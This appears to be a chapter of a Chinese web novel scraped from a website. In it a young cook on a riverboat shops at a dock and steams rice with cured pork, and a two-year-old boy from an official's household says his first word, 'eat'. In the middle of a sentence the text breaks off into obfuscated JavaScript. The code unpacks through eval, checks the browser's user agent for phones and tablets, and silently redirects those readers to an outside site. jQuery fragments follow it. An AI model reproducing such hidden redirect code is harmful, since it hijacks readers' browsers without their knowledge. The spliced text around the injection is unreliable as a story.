第二日青翠听阿竹这么一问,不可思议地问:“真这么好吃?”
“姐姐没尝过吗?”阿竹奇道,“我见我家大人独独爱吃这葱饼,都给他留着呢。”
“那叫葱油松饼。”青翠噗嗤一笑,“我们也都没尝,给我家少爷留着呢。好叫你知道,那饼是一家叫玲珑小馆的招牌点心。”
有自家叼嘴小少爷的肯定,在青翠心里,这款饼自然当得“招牌”二字。
此时,尚不知道自己随手做的阉割版万年青饼干已经被提格为招牌点心的莫玲珑,换下了外裳,舒舒服服歪在床头开始看话本。
再啃两块红薯干和肉干,就算完成基础热量和蛋白质摄入了。
如此,白天时不时出去溜达看景,观察船上众生百态,增加她在这个世界的认识,终于在第六日抵达了第一个停靠点,潞安府码头。
干粮做得再可口,连吃几天也吃腻了。
莫玲珑便随着人潮一起下船,去买些肉和菜。
她已经考察过船上的公灶,柴火畅用,虽然锅边有洗不干净的陈年老垢,但是蒸架什么的一应俱全——完全可以做蒸饭蒸菜!
码头两侧,摆满了小摊。
别说新鲜蔬果,鸡鸭鱼肉,连杂耍猴戏都有,见客人下船,摊主纷纷热情招揽。
莫玲珑随意攀谈问了下价格,盐10文一斤,糖则要30文,这两样比金安贵,常见的菜价格持平,苔菜按把卖,合下来不到两文钱一斤,只肉贵得明显些,猪肉每斤30文,牛肉略便宜,也要20文钱。
此地离金安并不远,物价应该差不多,这个价格,多半是码头位置稀缺性导致。
毕竟,船停靠不过小半个时辰,又能走多远?
莫玲珑挑了些叶菜,又挑了些耐存放的南瓜,卷心菜,胡萝卜,割了块肉,请肉摊的摊主加工成肉片和肉末。
贵有贵的道理,服务溢价呢。
这些东西够她翻花样吃几天的。
看着荷包里剩下不多的银两铜钱,她心疼了一秒钟。
剩下的预算在点心摊头买了几个烧饼,虽然不喜欢吃干粮,但存着会有安全感。
上船,再次碰上了带着孩子看热闹的李嬷嬷,身后还跟着两个护卫。
“小娘子买菜是准备在船上做饭?”
沈小少爷已经认得莫玲珑,一见她就咿咿呀呀地张开手,热情地要扑过来。
“是啊,干粮有些吃腻了。”
莫玲珑逗了会儿孩子,沈小爷咯咯笑个不停,一双黑白分明的大眼笑得眯起。
好一会儿,她才道别转身进了自己房里,准备做一顿分量足足的午晚餐。
外面,李嬷嬷抱着动得不消停的小主人,一脸愁容,心里想:可不就是呢?大人都吃腻了,咱们这位祖宗更是什么都不吃!
这次回金安奔丧,范氏为全孝心,将范老爷没见过的小外孙也带在身边。
只带了她一个嬷嬷。
起初还觉得是个美差,能出那么大个远门,还得大把赏银,但出来了才知有多难,真是有苦说不出。
南下金安路上走了一个月,孩子就闹了一个月。
船上条件本就艰苦,尽着给孩子准备吃食了,每次靠岸都使了大笔银子买新鲜的奶来,可沈小爷就是一日比一日瘦下去。
等到金安,小脸上的肉饿瘦了一半。
范氏心疼得不行,这次北上回京,便备上了许多的吃食,连小炉和小锅都备上了。
但——无论是金安城里最出名的花糕点心,肉干零嘴,还是她们自己用小炉煮的面条,这位小爷都兴趣缺缺。
只尝个鲜,再多喂就不给脸了。
眼看着又要掉肉,忽然在船上碰到莫娘子,一块葱油松饼能让小爷流口水。
那流的不是口水,是李嬷嬷的命啊!
想到这里,李嬷嬷忽然生出一丝微弱的希望,那莫娘子既然家里开饭馆,除了做饼,应该还会做饭吧?
虽然莫玲珑的年纪不像独撑门面的手艺人,但冲她那份对食材信手拈来的气度……万一呢?
这么一想,她沉不住气了,抱着沈小少爷就往那船灶找过去。
莫玲珑正认真地收拾着两个瓷碗。
一个瓷碗里的米泡了水,将三层五花,散发着油脂芬芳的腊肉铺了一半,又拿码了味的肉片铺在另一半上。
剩下一只瓷碗,则匀匀地将搅上劲的肉末铺在碗底,洒上几片香蕈并几根姜丝,其余什么都没画蛇添足,只等蒸好了添几粒盐巴就得鲜掉眉毛的瘦肉汤!
莫玲珑在两只碗口各盖上一张干荷叶。
这样一来,不仅隔了锅盖上的水汽滴落,还能额外增添一抹清香。
其实最主要是怕脏。
虽然洗过,但这锅盖是木头的,积了不知多少春秋的陈年老垢,怎么洗都觉得不干净。
柴火噼啪燃起,锅里水沸腾,咕嘟咕嘟的声音中腊肉受热,渐渐散发肉脂烟熏后,富有穿透力的香气。
才离开几天,但真的久违了。
回过神才发现,李嬷嬷不知什么时候抱着孩子过来了。
沈小爷的两条短腿蹬着李嬷嬷的怀抱,蹬出了万马千军的气势,一双手朝着莫玲珑的方向伸出来,急得婴语原地进化:“吃……吃!”
李嬷嬷奋力捞着怀里的孩子,听到这一声,动作顿住。
小少爷,会,会说话了?
刚刚说的,是个“吃”字吧?
沈瑞是沈府尹和范氏的第二个孩子,长子已经十二岁上,才迎来这个次子。
可想有多么疼爱。
但沈小爷什么都好,长得比同月的孩子要高大健硕,坐,爬,走,样样为先。
唯独一样——贵人语迟。
两周岁了,还不曾开口喊过爹娘。
李嬷嬷激动得顾不上跟莫玲珑打招呼,一叠声抱着孩子去了上一层舱房。
两个护卫跟在后头,生怕她没抱紧摔了怀里的金疙瘩。
“夫人,夫人大喜啊!”李嬷嬷进了门,站在房中,哽咽地抱着孩子报喜,“小少爷会说话了!”
太难了,谁懂她这一路吊着的心呐。
总算有了那么一个,能让她在沈家仆妇中能挺直腰杆的好消息。
范氏正捻着青翠今天下船买来的果子吃,听见这话,一下子在床上坐起身,惊喜地看向因为挣扎而小脸涨得通红的儿子。
“瑞儿,会喊娘了吗?是不是刚才找娘呢?”
她的大儿子也是先学会喊娘的!
看着范氏充满期待的表情,李嬷嬷忽然心里暗道一声糟了。
上京有这样的传说,孩童第一个说的字,关系到将来的出息。
堂堂沈府尹的二公子,怎么可以只想着“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716588|173738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吃”呢?!
她着急忙慌地开口说对,但声音被气得打挺的沈小爷嘹亮的一声“吃”给牢牢盖住。
沈小爷嚎啕大哭。
这些大人到底在干什么!马上快吃着好吃的了,把他抱走是要闹哪样?!
范氏先是一愣,听清后哭笑不得:“吃好啊,瑞儿说的这个字好!”
其实她和夫君对这个贵人语迟的小儿子,并没像旁人想的那样,希望他将来飞黄腾达,位极人臣。
这个吃字,依她看好得很。
吃四方,吃平安,能吃是福。
不知怎的,她又想起那个做得一手好酥饼的姑娘。
会做吃的,就无论什么时候都能过滋润。
瞧,她这儿样样俱全,可做出来的东西除了有点咸味,就不香。
就拿今天煮的鸡蛋汤面来说,面条糊烂,汤水浑浊,真真一口都嫌弃吃。
从上京出门前,明明身边的婢女嬷嬷都在灶房大师傅那学过,平时小厨房做点吃食也还能下口。
可出了门,就怎么都不对了呢?
这么想着,她饶有兴味地问:“瑞儿怎么好端端地突然说吃呢?”
李嬷嬷见自家夫人没有不快,心里的大石头放下,顺着把话题引开:“刚在船灶那儿,看到莫娘子在做蒸饭,少爷突然就开口了。”
这怎么跟自己想到一块儿去了?
要不怎么说是母子连心呐!
那位莫姑娘送的饼今天被儿子吃完了,她中午这顿没饱,再甜的果子也不抵馋虫,索性站起来接过孩子:“人还在吗,走,去瞧瞧。”
几人还未走到船灶那,先是嗅到了那肥润的肉香中夹杂着荷叶清新的香味,肚子里那些馋虫,都被勾了出来,跃跃欲试。
等到了,才发现那张船灶边已三三两两地聚了些人。
莫玲珑心无杂念地听着灶上的锅,估算火候。
隔水炖的肉汤,时间应该还不够,但双拼腊肉蒸饭,已经完全熟了。
于是她拎起锅盖,飞快地捧出那碗蒸饭。
瞬间,刚才那还犹抱琵琶半遮面的香味儿,尤如一股浩然正气,肆意张扬地散发开来。
接着便掀开了盖在碗口上的荷叶。
那股浩然香气一下子变得具体起来。
围观的众人不约而同咽了口口水,勾着头看去。
只见粒粒晶莹的米饭上,铺着薄薄的腊肉,肥的部分晶莹透亮,让人毫不怀疑咬在嘴里会是何等润滑香口,而瘦的部分呈现暗红色,看起来烟韧弹牙充满食欲。
另半边那沾着碎豆豉的肉片,贡献了整碗饭磅礴的香气中,属于发酵的醇厚浓郁。
莫玲珑把准备好了的甜酱油和葱花洒进去,喷香。
真是一碗好饭呐!
莫玲珑也觉得这碗饭蒸得挺成功。
荷叶的加入,很加分。
就好比那粤式小点糯米鸡,外面那层荷衣,是点睛之笔。
有了它,才称得上丰润怡人,而不只是糯米蒸肉。
沈小爷再也忍不住了,哇一声哭出来。
委屈得大声喊:“吃,吃饭饭!”
莫玲珑一抬头,和沈小爷四目相对。
嘴唇都哭抖了的孩子,黑葡萄一样黑亮带泪的眼睛看看她,又看看灶上的碗,石破天惊地扯着奶嗓嚎:“吃饭饭!要吃饭饭!”